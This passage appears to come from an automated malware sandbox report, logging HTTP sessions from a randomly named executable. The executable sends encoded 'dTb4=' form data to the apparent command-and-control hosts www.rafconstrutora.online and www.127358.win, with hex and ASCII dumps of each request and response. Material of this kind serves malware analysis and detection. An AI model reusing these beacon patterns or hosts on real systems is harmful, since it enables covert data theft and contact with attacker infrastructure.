                                                                                    Data Raw: 33 34 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 [TRUNCATED]
                                                                                    Data Ascii: 34bnF={E@I/M&@{*V(C,)oc@B/VPQ$QqZ;a|_@2}"P*'D@\v+B@1D|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s
                                                                                    Dec 5, 2024 18:24:22.329004049 CET487INData Raw: 3e eb e6 b3 a7 32 97 43 e6 72 d6 2d 9f cc 0c a3 c5 00 1a 46 8b 2e 8c 16 e2 99 5a 2e c3 e5 b0 61 e1 32 ea c2 e5 43 2d 53 75 5d a2 f4 d4 e8 42 3e 52 c2 f8 4c c2 b8 0b a3 f1 b3 a6 98 9e a9 98 46 5d 38 7d 5e 15 8b 33 15 8b 71 17 2e ce 54 9c b1 34 73
                                                                                    Data Ascii: >2Cr-F.Z.a2C-Su]B>RLF]8}^3q.T4s"G#,w%r&=U]%>r343-R1'kWq_eAJNO=0Io#_A19#ok\O}NU;dVPoscEWCp wVKz
                                                                                    Dec 5, 2024 18:24:22.331248045 CET5INData Raw: 30 0d 0a 0d 0a
                                                                                    Data Ascii: 0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    31192.168.2.1150005104.21.34.103802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:23.757848978 CET1791OUTPOST /0xli/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.rafconstrutora.online
                                                                                    Origin: http://www.rafconstrutora.online
                                                                                    Referer: http://www.rafconstrutora.online/0xli/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 53 67 59 33 6a 51 54 36 61 51 30 70 62 32 33 49 78 34 30 67 6a 6e 6e 36 32 56 48 41 4d 71 4f 48 56 51 73 78 58 38 4e 31 78 74 41 61 4f 42 63 59 55 55 49 38 65 71 34 69 33 75 6f 58 48 4e 5a 76 58 41 53 6a 76 48 55 6b 33 32 56 62 77 72 39 72 4a 46 36 70 33 72 54 5a 75 54 6d 30 4a 67 72 35 48 79 57 33 75 36 44 76 6d 59 36 73 41 43 75 67 59 66 4c 6d 39 48 78 43 79 49 42 4b 66 41 75 48 52 38 75 39 32 53 2b 43 45 4e 48 34 64 6c 4a 56 72 2f 2f 71 54 61 6f 4b 58 52 64 4c 75 59 35 69 47 51 31 7a 74 73 6c 50 36 73 36 45 62 75 63 6c 4c 32 6d 52 4e 50 43 6f 39 66 55 45 72 4a 34 59 49 58 37 54 76 72 63 6a 77 53 58 6e 6c 6f 76 4d 59 4f 47 49 42 2f 2b 4a 66 54 74 62 4d 76 50 59 35 5a 78 35 71 67 72 68 43 4a 62 71 73 6e 37 54 67 4f 64 72 78 6a 75 6e 63 6f 70 72 70 4e 64 35 68 57 61 79 39 76 75 77 6a 58 74 6f 5a 44 66 56 42 2f 49 64 48 66 73 4d 49 78 32 66 58 2f 7a 37 53 54 44 43 2b 37 5a 39 74 7a 30 56 68 44 69 4b 36 6f 70 57 58 2f 56 72 43 34 68 37 77 7a 54 4b 49 69 31 49 77 36 6e 6f 5a 4a 70 69 2f [TRUNCATED]
                                                                                    Data Ascii: dTb4=SgY3jQT6aQ0pb23Ix40gjnn62VHAMqOHVQsxX8N1xtAaOBcYUUI8eq4i3uoXHNZvXASjvHUk32Vbwr9rJF6p3rTZuTm0Jgr5HyW3u6DvmY6sACugYfLm9HxCyIBKfAuHR8u92S+CENH4dlJVr//qTaoKXRdLuY5iGQ1ztslP6s6EbuclL2mRNPCo9fUErJ4YIX7TvrcjwSXnlovMYOGIB/+JfTtbMvPY5Zx5qgrhCJbqsn7TgOdrxjuncoprpNd5hWay9vuwjXtoZDfVB/IdHfsMIx2fX/z7STDC+7Z9tz0VhDiK6opWX/VrC4h7wzTKIi1Iw6noZJpi/P1RioGqxBHsMriJierUn7R1yEGAnUUPeakf9kAhHGPih40XrbhoTJjKdKM7P8Vz9kSKYZ9kNpNP/fF4MJRLoRsK29u3+QhZg3BFZCI0Z+oAnH+hmaxYVB62ZWjaMZnZ6kGhaFhPuDXZx77sSqULFQbXtFRKKN1Zrs79cADwavepo1Pch1XSs/JF8iohOpUTfoqHgWJ6l+iXwc4gCFjxrEqXbYMD3DH70nGqLdoWq9IjiqoQUhHPb3O8FaznEmqtty1qvMCkQWAyAeGwWPW/vdi0C1PICERcH3sKqVaxbPsPfIFwxN4jEewP/XCGXwwlDIUpJ/zehBE4uRUKM18c//D59yKu2VvYCZkAXjIO9irVdk4rAPs7AcD4DPiNqmKxcUK3QlzToBZtO6PkDcY0VEJcOrt5y2FXlnC79Q+n6TJ8A27De2Zmmt9+i0Q2DG+LbCzj39d78xr3gTidQlPidoM0OKEYjKoA8KHrNFHpGAiYv2jSx5SBzBYsrhWfEkWjyIqMPQ6ert1ApqeWJm8Ku0AERmNm7pTx1cRTfF1yBONqa32l1Ysl+wTxzKc09XN7KctaQLQAbT+Jfhu6mnwJjrigOU71H83T16+dl4/9RWNs67g/31kpVvgYQip4nbAo+096ykHZY58nJG3Moz+uNM8cguDMrHXeFga [TRUNCATED]
                                                                                    Dec 5, 2024 18:24:24.926726103 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:24:24 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT
                                                                                    Vary: Accept-Encoding
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RJj2RCjnOhNznBCpSocqhSg6UpwsQ690Ub%2FmKFQMigW0jrrZ%2BkU9jRpIrTyNZ8R2Cy8ApXiXhI3uljesQRxImpbdGVxOSQ2NRCoXgYdyAinAQDdrWxw0iDzKSIaSoLAAaswQ65Cql8Go6nFG"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5bac62cc47d08-EWR
                                                                                    Content-Encoding: gzip
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1880&min_rtt=1880&rtt_var=940&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1791&delivery_rate=0&cwnd=173&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                    Data Raw: 33 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 [TRUNCATED]
                                                                                    Data Ascii: 33fnF={E@I/M&@{*V(C,)oc@B/VPQ$QqZ;a|_@2}"P*'D@\v+B@1D|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>
                                                                                    Dec 5, 2024 18:24:24.926939964 CET472INData Raw: b3 a7 32 97 43 e6 72 d6 2d 9f cc 0c a3 c5 00 1a 46 8b 2e 8c 16 e2 99 5a 2e c3 e5 b0 61 e1 32 ea c2 e5 43 2d 53 75 5d a2 f4 d4 e8 42 3e 52 c2 f8 4c c2 b8 0b a3 f1 b3 a6 98 9e a9 98 46 5d 38 7d 5e 15 8b 33 15 8b 71 17 2e ce 54 9c b1 34 73 b0 22 f2
                                                                                    Data Ascii: 2Cr-F.Z.a2C-Su]B>RLF]8}^3q.T4s"G#,w%r&=U]%>r343-R1'kWq_eAJNO=0Io#_A19#ok\O}NU;dVPoscEWCp wVKz =
                                                                                    Dec 5, 2024 18:24:24.928144932 CET22INData Raw: 63 0d 0a e3 e5 02 00 66 df cc 8d 39 09 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: cf90


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    32192.168.2.1150006104.21.34.103802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:26.418328047 CET474OUTGET /0xli/?dTb4=fiwXgneLShVjQCrI9aBxnX/fmVewD7CFPQo9HslC8d9LCicIVxdgVPkWu4N9YPZNTEC7g2Z77mR61ZpsKE29+4q+gTyyPmzyfROIutba2dTwdDTCdKrAw2s=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.rafconstrutora.online
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:24:27.605523109 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:24:27 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT
                                                                                    Vary: Accept-Encoding
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U4NZiAPZgjlxwZwTfSvm0u%2BUFUyuV%2B9ZdXQ61C%2Fw3PDVDRr6bJboCAsbMcP3y5lWXY6V715BfJ8qXZOmyg9z0g3rHtX8I3gjEwY1H%2Bsm%2BtciXVLsecXFScrANdFpoPeJmg4jJBW4YXNlMPtr"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5bad6ef2b8c93-EWR
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1826&rtt_var=913&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=474&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                    Data Raw: 39 33 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 6f 73 70 65 64 61 67 65 6d [TRUNCATED]
                                                                                    Data Ascii: 939<!DOCTYPE html><html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="format-detection" content="telephone=no"> <meta name="robots" content="noindex"> <title>Hospedagem de Site com Domnio Grtis - HostGator</titl
                                                                                    Dec 5, 2024 18:24:27.605679989 CET1236INData Raw: 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 20 20
                                                                                    Data Ascii: e> <link rel="shortcut icon" href="/cgi-sys/images/favicons/favicon.ico"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-32.png" sizes="32x32"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-57.png" sizes="57x5
                                                                                    Dec 5, 2024 18:24:27.605693102 CET752INData Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e 3c 73 74 72 6f 6e 67 3e 4f 70 73 2c 3c 2f 73 74 72 6f 6e 67 3e 3c 62 72 3e 4e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 6d 6f 73 3c 62 72 3e 65 73 73 61 20 70 c3 a1 67 69 6e 61 21 3c 2f 68 31 3e 0d 0a 20
                                                                                    Data Ascii: <h1><strong>Ops,</strong><br>No encontramos<br>essa pgina!</h1> <p>Parece que a pgina que voc est procurando foi movida ou nunca existiu, certifique-se que digitou o endereo corretamente ou seguiu um link v


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    33192.168.2.1150007206.238.89.119802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:35.638494968 CET725OUTPOST /qn33/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.127358.win
                                                                                    Origin: http://www.127358.win
                                                                                    Referer: http://www.127358.win/qn33/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 77 2f 6c 54 43 67 69 64 30 47 30 52 6d 51 66 31 30 6a 63 4d 4b 71 79 57 45 32 4b 77 5a 35 44 46 32 4e 4c 35 50 67 45 5a 63 57 65 4d 75 68 58 35 79 79 34 43 6c 57 33 31 43 31 64 4f 43 41 68 37 6a 43 77 32 77 39 6b 6a 35 34 5a 43 44 2b 4d 65 6b 4e 38 6f 61 36 44 56 44 38 79 75 4a 7a 6e 4d 33 6c 67 73 6b 37 35 34 66 4f 36 64 55 30 37 45 67 62 47 68 38 6a 43 4b 67 4c 73 32 48 43 56 34 69 6c 44 59 49 49 77 65 79 69 6e 58 32 6e 49 48 2f 38 59 72 2b 4a 36 55 39 47 56 6d 6c 4c 5a 36 59 6b 76 6b 62 56 36 51 30 38 36 5a 4f 74 4a 66 5a 53 71 48 79 75 47 74 46 73 6a 54 56 37 46 6e 56 77 3d 3d
                                                                                    Data Ascii: dTb4=w/lTCgid0G0RmQf10jcMKqyWE2KwZ5DF2NL5PgEZcWeMuhX5yy4ClW31C1dOCAh7jCw2w9kj54ZCD+MekN8oa6DVD8yuJznM3lgsk754fO6dU07EgbGh8jCKgLs2HCV4ilDYIIweyinX2nIH/8Yr+J6U9GVmlLZ6YkvkbV6Q086ZOtJfZSqHyuGtFsjTV7FnVw==
                                                                                    Dec 5, 2024 18:24:37.137554884 CET289INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:36 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 146
                                                                                    Connection: close
                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    34192.168.2.1150008206.238.89.119802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:38.305718899 CET745OUTPOST /qn33/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.127358.win
                                                                                    Origin: http://www.127358.win
                                                                                    Referer: http://www.127358.win/qn33/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 77 2f 6c 54 43 67 69 64 30 47 30 52 30 68 76 31 32 41 30 4d 62 61 79 5a 42 32 4b 77 53 5a 44 42 32 4e 48 35 50 68 51 4a 64 6a 4f 4d 75 46 62 35 78 77 51 43 69 57 33 31 4e 56 64 48 66 77 68 73 6a 43 38 2b 77 34 6b 6a 35 34 4e 43 44 2f 38 65 6c 2b 45 72 62 71 44 58 49 63 79 73 48 54 6e 4d 33 6c 67 73 6b 37 39 42 66 4e 4b 64 55 6b 4c 45 69 35 2b 69 69 54 43 4a 77 37 73 32 4e 69 56 38 69 6c 44 36 49 4e 59 30 79 6b 72 58 32 69 30 48 78 4a 30 6f 33 4a 37 66 69 57 55 6f 68 5a 63 6c 51 55 2b 6e 56 33 36 4b 6a 59 71 71 4c 72 45 46 4a 78 6a 51 78 39 4f 76 52 4b 43 6a 63 4b 67 75 4f 31 53 35 53 76 31 4b 6e 59 69 48 44 30 34 58 67 52 55 65 43 75 51 3d
                                                                                    Data Ascii: dTb4=w/lTCgid0G0R0hv12A0MbayZB2KwSZDB2NH5PhQJdjOMuFb5xwQCiW31NVdHfwhsjC8+w4kj54NCD/8el+ErbqDXIcysHTnM3lgsk79BfNKdUkLEi5+iiTCJw7s2NiV8ilD6INY0ykrX2i0HxJ0o3J7fiWUohZclQU+nV36KjYqqLrEFJxjQx9OvRKCjcKguO1S5Sv1KnYiHD04XgRUeCuQ=
                                                                                    Dec 5, 2024 18:24:39.797306061 CET289INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:39 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 146
                                                                                    Connection: close
                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    35192.168.2.1150009206.238.89.119802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:40.973918915 CET1758OUTPOST /qn33/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.127358.win
                                                                                    Origin: http://www.127358.win
                                                                                    Referer: http://www.127358.win/qn33/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 77 2f 6c 54 43 67 69 64 30 47 30 52 30 68 76 31 32 41 30 4d 62 61 79 5a 42 32 4b 77 53 5a 44 42 32 4e 48 35 50 68 51 4a 64 67 75 4d 76 77 48 35 79 58 6b 43 6a 57 33 31 41 31 64 4b 66 77 67 75 6a 43 6b 36 77 34 68 57 35 37 31 43 44 64 30 65 73 76 45 72 53 71 44 58 48 38 79 74 4a 7a 6e 5a 33 6c 77 67 6b 37 74 42 66 4e 4b 64 55 69 6e 45 73 37 47 69 67 54 43 4b 67 4c 73 79 48 43 56 55 69 6c 72 41 49 4e 63 4f 78 55 4c 58 32 43 45 48 38 66 41 6f 31 70 37 64 6a 57 56 31 68 59 67 41 51 55 69 4e 56 32 2b 7a 6a 66 47 71 4b 2b 78 34 4e 69 6d 4d 6c 74 66 65 4a 37 75 53 58 59 41 41 57 55 6d 45 54 76 4a 73 79 4d 6d 51 42 56 4e 5a 7a 68 30 2b 42 75 6e 78 6a 78 2f 2b 4b 41 39 4a 34 66 37 74 75 54 53 54 78 44 5a 4d 76 47 45 70 48 54 6a 75 61 33 74 5a 34 71 57 48 54 64 41 43 30 50 73 42 70 43 6f 42 2f 6f 66 61 72 74 7a 4e 33 78 79 66 32 6f 59 64 64 66 30 65 6b 69 37 5a 44 57 78 59 61 35 4c 52 32 78 46 33 72 6c 56 59 72 50 38 36 44 35 6b 42 45 49 73 31 65 70 5a 51 30 63 6e 67 66 36 54 53 39 6e 58 53 73 [TRUNCATED]
                                                                                    Data Ascii: dTb4=w/lTCgid0G0R0hv12A0MbayZB2KwSZDB2NH5PhQJdguMvwH5yXkCjW31A1dKfwgujCk6w4hW571CDd0esvErSqDXH8ytJznZ3lwgk7tBfNKdUinEs7GigTCKgLsyHCVUilrAINcOxULX2CEH8fAo1p7djWV1hYgAQUiNV2+zjfGqK+x4NimMltfeJ7uSXYAAWUmETvJsyMmQBVNZzh0+Bunxjx/+KA9J4f7tuTSTxDZMvGEpHTjua3tZ4qWHTdAC0PsBpCoB/ofartzN3xyf2oYddf0eki7ZDWxYa5LR2xF3rlVYrP86D5kBEIs1epZQ0cngf6TS9nXSsDwgAgg/siJHUYdZ0jzDL6lt0dZlakzxtGS2J3nMm6fP5S3ZJaC5D9fn26pFK8OoywEiNDO30fiYHZanppXzEXjwy/HtQelLW3tbLU5AvD9P5TlSg9U87kEGd+QIDlqH9RomEszi9s96ml7AzvkYexBpNh5VVkO1BCWPTerh7Osxjeg9UJdSNV3+4ciw4j29Tj3wQhhW37A1X8iZFVCsS1JkAbqnjmuh/eH0sZDUKEnehMX5N9yfsbkzzJ3KPrba70daltnySJbN76ZLLO4kbX50FxKM/O6FOFAKBpy7TXjQZLntncir62lKbL8sBLD62cjFTjyAUTcdqM50UNNxh0c/HZcSsBcFFmV2lNP2wQMaNjBadrgIPDWEQP0sX8iqj1vNminRS8XeqeK64ldNVqt4cpscSeDd0zGC4xtr8WahKrxA4XoSDyeCbv1D5kNsIrU4pI6yRRyzo2kDCBE3zK4g8eCIFi9KZqXYgnWhtlLtLylgxUFcXgQVdTpelxHlwK7LMePEbOZ9Jf8FQX56bXu72oyGjffeyClvN5Taf1d/FP0DYSQKpPinTbXep24/m0n5B+4E/IHh7/RxO3P8RJ+0+WZlSP6OtijopMuIQ5tVp2ucRIbUXDmE7dgI8PQG0xxB0GIUKZpf11usp78W9g0gnBUWFDCLUZL [TRUNCATED]
                                                                                    Dec 5, 2024 18:24:42.480501890 CET289INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:42 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 146
                                                                                    Connection: close
